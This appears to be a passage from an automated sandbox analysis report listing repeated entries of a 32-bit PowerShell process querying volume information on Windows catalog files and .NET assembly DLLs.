Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
